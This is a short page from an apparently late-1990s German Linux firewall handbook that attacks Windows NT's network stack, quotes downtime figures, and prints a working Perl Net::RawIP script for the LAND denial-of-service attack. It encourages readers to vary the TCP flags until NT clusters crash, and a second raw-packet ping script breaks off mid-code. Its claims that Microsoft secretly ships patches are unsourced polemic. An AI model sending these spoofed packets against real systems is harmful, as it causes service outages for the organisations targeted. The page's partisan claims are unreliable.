Firewall Handbuch für LINUX 2.0 und 2.2 - zurück

Einige Suchmaschinen, wie z.B. Yahoo und HOTBOT haben net::rawip zensiert. Die
Suchmaschine http://www.northernlight.com/ liefert jedoch zu diesem Thema einige
hundert Informationen.
Wie durchschlagend diese Angriffe sind, wird daran deutlich, daß Microsoft in den
Beschreibungen der Service Packs diese Problematik erst garnicht dokumentiert, sondern
Patches immer heimlich mitliefert. Falls also gerade Ihr 100.000 DM Windows NT 4.0
Wolfpack - Cluster mit Servicepack 5 in Ihrem Unternehmen ständig ausfällt, dann sollten
Sie vielleicht einmal Arbeitsstationen auf Visual Basic Makro's in Winword Dokumenten
untersuchen, die über die veraltete Winsock 2.1 diese Pakete an den Server versenden.
Diese Beispiele werde ich an dieser Stelle nicht veröffentlichen, da ansonsten der
Schaden unermesslich sein würde. Dieser Abschnitt hier soll auch nur den Ernst der Lage
verdeutlichen und keine Aufforderung für Mitarbeiter sein, dem eigenen Unternehmen
einen Millionenschaden zuzufügen. Wer Microsoft NT Server in Unternehmen einsetzt, der
hat leider auf das falsche Pferd gesetzt. Microsoft kann bis heut noch keinen vernünftigen
TCP/IP Stack liefern, was auch die riesigen Ausfälle bei Internet-Providern mit NT-Servern
zeigen.
Die Gartner GROUP hat signifikante Unterschieden bei den DOWN-Zeiten zwischen den
großen Plattformen festgestellt, siehe INFORMATIONWEEK 17/18 vom 19. August 1999,
Seite 40:
AS/400 5.2 Stunden/Jahr
S/390 8.9 Stunden/Jahr
UNIX 23.6 Stunden/Jahr
Windows NT 224.5 Stunden/Jahr
Da weiß man, was man hat ! Schönen, guten Abend (Zitat von Jan Hagemeier, Bonn)
Hier nun einige Beispiele: Der LAND Angriff
#!/usr/bin/perl
require 'getopts.pl';
use Net::RawIP;
Getopts('i:p:');
$a = new Net::RawIP;
die "Usage $0 -i -p " unless
($opt_i && $opt_p);
$a->set({ ip => {saddr => $opt_i,
daddr => $opt_i
},
tcp=> {dest => $opt_p,
source => $opt_p,
psh => 1,
syn => 1}
});
$a->send;
Fertig ! Ja, es ist wirklich so einfach ....Spielen Sie mit den Flags (psh, syn....) herum, und
sie werden merken, daß bei der richtigen Kombination Windows NT Cluster (Tandem,
Wolfpack) aussteigen....
Ein einfacher PING
#!/usr/bin/perl
use Net::RawIP qw(:pcap);
$a = new Net::RawIP ({icmp =>{}});
$a->set({ip => {saddr => 'www.intra.net', # insert your site
here !
daddr => $ARGV[0]},
Erstellt von Doc Gonzo - http://kickme.to/plugins